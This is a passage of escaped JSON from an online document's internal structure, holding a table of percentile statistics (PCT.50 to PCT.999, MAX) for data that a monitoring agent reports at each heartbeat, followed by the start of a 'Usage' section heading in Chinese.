&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;0.18&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnU42mOeaOacIaITMmAjDQXc&#34;:{&#34;id&#34;:&#34;doxcnU42mOeaOacIaITMmAjDQXc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn0eYimGg0Kwe2yitHJoQmhb&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn0eYimGg0Kwe2yitHJoQmhb&#34;:{&#34;id&#34;:&#34;doxcn0eYimGg0Kwe2yitHJoQmhb&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnU42mOeaOacIaITMmAjDQXc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;64.2&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnwEmIWCKk0CKkSiQyMke3vc&#34;:{&#34;id&#34;:&#34;doxcnwEmIWCKk0CKkSiQyMke3vc&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn08KmWswcqyqYU1L02FhOse&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn08KmWswcqyqYU1L02FhOse&#34;:{&#34;id&#34;:&#34;doxcn08KmWswcqyqYU1L02FhOse&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnwEmIWCKk0CKkSiQyMke3vc&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;75&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnMSKciSeew8CgwVDYJANHq7&#34;:{&#34;id&#34;:&#34;doxcnMSKciSeew8CgwVDYJANHq7&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnEY6Cqq2QuMEE6FPeJ4Q02d&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnEY6Cqq2QuMEE6FPeJ4Q02d&#34;:{&#34;id&#34;:&#34;doxcnEY6Cqq2QuMEE6FPeJ4Q02d&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnMSKciSeew8CgwVDYJANHq7&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;0.80&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnO88yCMWEOk8scdFwyTrn6c&#34;:{&#34;id&#34;:&#34;doxcnO88yCMWEOk8scdFwyTrn6c&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcng6ESEsAIewQErFiOoS19cE&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcng6ESEsAIewQErFiOoS19cE&#34;:{&#34;id&#34;:&#34;doxcng6ESEsAIewQErFiOoS19cE&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnO88yCMWEOk8scdFwyTrn6c&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;64.4&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcncKOkoG8eC0Ue8fOk8Yo6HI&#34;:{&#34;id&#34;:&#34;doxcncKOkoG8eC0Ue8fOk8Yo6HI&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnoAW2mgswWmKEcfeX7cBoTd&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnoAW2mgswWmKEcfeX7cBoTd&#34;:{&#34;id&#34;:&#34;doxcnoAW2mgswWmKEcfeX7cBoTd&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncKOkoG8eC0Ue8fOk8Yo6HI&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;90&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnQ2qGsyoQ44A6YhD1ZxJKCg&#34;:{&#34;id&#34;:&#34;doxcnQ2qGsyoQ44A6YhD1ZxJKCg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnS0QE0WM8Ek2I0Wpg9iCH4f&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnS0QE0WM8Ek2I0Wpg9iCH4f&#34;:{&#34;id&#34;:&#34;doxcnS0QE0WM8Ek2I0Wpg9iCH4f&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnQ2qGsyoQ44A6YhD1ZxJKCg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;1.12&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnwSc868YKysM6yQPNjgFFUg&#34;:{&#34;id&#34;:&#34;doxcnwSc868YKysM6yQPNjgFFUg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcncGwa00aYgIW4AnvrJBHmGc&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcncGwa00aYgIW4AnvrJBHmGc&#34;:{&#34;id&#34;:&#34;doxcncGwa00aYgIW4AnvrJBHmGc&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnwSc868YKysM6yQPNjgFFUg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;64.8&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnAEw0yQa6oGWUiyeocDq9CH&#34;:{&#34;id&#34;:&#34;doxcnAEw0yQa6oGWUiyeocDq9CH&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnu84Agm8q0CwktvH9doV8qj&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnu84Agm8q0CwktvH9doV8qj&#34;:{&#34;id&#34;:&#34;doxcnu84Agm8q0CwktvH9doV8qj&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnAEw0yQa6oGWUiyeocDq9CH&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;95&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnciw2KUWA2gCamska1RI64g&#34;:{&#34;id&#34;:&#34;doxcnciw2KUWA2gCamska1RI64g&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcna4WIEyoQAgieSCf3pkzmzh&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcna4WIEyoQAgieSCf3pkzmzh&#34;:{&#34;id&#34;:&#34;doxcna4WIEyoQAgieSCf3pkzmzh&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnciw2KUWA2gCamska1RI64g&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;1.58&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnWMk68Ew6QuQuQ9oVEEuX6g&#34;:{&#34;id&#34;:&#34;doxcnWMk68Ew6QuQuQ9oVEEuX6g&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnygY2KmOAAmgugH1u9Gzofe&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnygY2KmOAAmgugH1u9Gzofe&#34;:{&#34;id&#34;:&#34;doxcnygY2KmOAAmgugH1u9Gzofe&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnWMk68Ew6QuQuQ9oVEEuX6g&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;65&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcn0SG24KACmoOmSa5KPgSAOg&#34;:{&#34;id&#34;:&#34;doxcn0SG24KACmoOmSa5KPgSAOg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnasYoOyaQs0MYa8Wn2eU2sg&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnasYoOyaQs0MYa8Wn2eU2sg&#34;:{&#34;id&#34;:&#34;doxcnasYoOyaQs0MYa8Wn2eU2sg&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcn0SG24KACmoOmSa5KPgSAOg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;99&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnUuMwgiSswSkKCYQiTb6pOe&#34;:{&#34;id&#34;:&#34;doxcnUuMwgiSswSkKCYQiTb6pOe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnEiGc26eGmgOYk6D8xdhRvq&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnEiGc26eGmgOYk6D8xdhRvq&#34;:{&#34;id&#34;:&#34;doxcnEiGc26eGmgOYk6D8xdhRvq&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnUuMwgiSswSkKCYQiTb6pOe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;1.69&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnaAIeoY6W2k60IdkFNJX48b&#34;:{&#34;id&#34;:&#34;doxcnaAIeoY6W2k60IdkFNJX48b&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnI60Gwiyw4CieohY5ovt3Xd&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnI60Gwiyw4CieohY5ovt3Xd&#34;:{&#34;id&#34;:&#34;doxcnI60Gwiyw4CieohY5ovt3Xd&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnaAIeoY6W2k60IdkFNJX48b&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;66&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnWgK8kwgYcCoaU9R0E5zSqg&#34;:{&#34;id&#34;:&#34;doxcnWgK8kwgYcCoaU9R0E5zSqg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnIgqSAI2Mckgec3Un43yKHb&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnIgqSAI2Mckgec3Un43yKHb&#34;:{&#34;id&#34;:&#34;doxcnIgqSAI2Mckgec3Un43yKHb&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnWgK8kwgYcCoaU9R0E5zSqg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;999&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnsEQsiQ24IK4cu0r47CjbMe&#34;:{&#34;id&#34;:&#34;doxcnsEQsiQ24IK4cu0r47CjbMe&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnOeuSQcisQ2ouUNQYb0MTid&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnOeuSQcisQ2ouUNQYb0MTid&#34;:{&#34;id&#34;:&#34;doxcnOeuSQcisQ2ouUNQYb0MTid&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnsEQsiQ24IK4cu0r47CjbMe&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+4&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;2.88&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnWuAUAmUMe6IIKSvgCA3Sig&#34;:{&#34;id&#34;:&#34;doxcnWuAUAmUMe6IIKSvgCA3Sig&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnSw8k04qkeGsK4qxklmsehc&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnSw8k04qkeGsK4qxklmsehc&#34;:{&#34;id&#34;:&#34;doxcnSw8k04qkeGsK4qxklmsehc&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnWuAUAmUMe6IIKSvgCA3Sig&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;75&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcneQoUMCWekg2AemZLK1Y2kg&#34;:{&#34;id&#34;:&#34;doxcneQoUMCWekg2AemZLK1Y2kg&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcn8ke8uKyYYiioqkHzh6QA4d&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcn8ke8uKyYYiioqkHzh6QA4d&#34;:{&#34;id&#34;:&#34;doxcn8ke8uKyYYiioqkHzh6QA4d&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcneQoUMCWekg2AemZLK1Y2kg&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;MAX&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnCsu4Soy6wsyeATaYfS86ig&#34;:{&#34;id&#34;:&#34;doxcnCsu4Soy6wsyeATaYfS86ig&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnooIEwmOGKmgYsLqBDkB34g&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnooIEwmOGKmgYsLqBDkB34g&#34;:{&#34;id&#34;:&#34;doxcnooIEwmOGKmgYsLqBDkB34g&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnCsu4Soy6wsyeATaYfS86ig&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+2&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;10&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnq4sKcy20aKMiI7lxCpRexf&#34;:{&#34;id&#34;:&#34;doxcnq4sKcy20aKMiI7lxCpRexf&#34;,&#34;snapshot&#34;:{&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[&#34;doxcnIk2ksos0sqqk1uUWmzfGJH&#34;],&#34;comments&#34;:[],&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcncqYOw2Ki0aC4g57M3ZAzMh&#34;,&#34;type&#34;:&#34;table_cell&#34;}},&#34;doxcnIk2ksos0sqqk1uUWmzfGJH&#34;:{&#34;id&#34;:&#34;doxcnIk2ksos0sqqk1uUWmzfGJH&#34;,&#34;snapshot&#34;:{&#34;align&#34;:&#34;&#34;,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;comments&#34;:[],&#34;folded&#34;:false,&#34;hidden&#34;:false,&#34;locked&#34;:false,&#34;parent_id&#34;:&#34;doxcnq4sKcy20aKMiI7lxCpRexf&#34;,&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+3&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;111&#34;}}},&#34;type&#34;:&#34;text&#34;}},&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;:{&#34;id&#34;:&#34;doxcnekgoosO0eSK2KGv51SJJoh&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+14&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;（PCT.50~PCT.999 为 Agent 每次心跳上报的数据统计分布占比）&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnsik2UmMGSU4ysVBOHllj3f&#34;:{&#34;id&#34;:&#34;doxcnsik2UmMGSU4ysVBOHllj3f&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;heading1&#34;,&#34;parent_id&#34;:&#34;doxcnHbAuGVqqrG6wJIZ1gCxCWb&#34;,&#34;comments&#34;:[],&#34;locked&#34;:false,&#34;hidden&#34;:false,&#34;author&#34;:&#34;6848775406993031170&#34;,&#34;children&#34;:[],&#34;text&#34;:{&#34;apool&#34;:{&#34;nextNum&#34;:1,&#34;numToAttrib&#34;:{&#34;0&#34;:[&#34;author&#34;,&#34;6848775406993031170&#34;]}},&#34;initialAttributedTexts&#34;:{&#34;attribs&#34;:{&#34;0&#34;:&#34;*0+6&#34;},&#34;text&#34;:{&#34;0&#34;:&#34;2.使用方式&#34;}}},&#34;align&#34;:&#34;&#34;,&#34;folded&#34;:false}},&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;:{&#34;id&#34;:&#34;doxcnoiaGwsSIssAUkTeKVxwf2f&#34;,&#34;snapshot&#34;:{&#34;type&#34;:&#34;text&#34;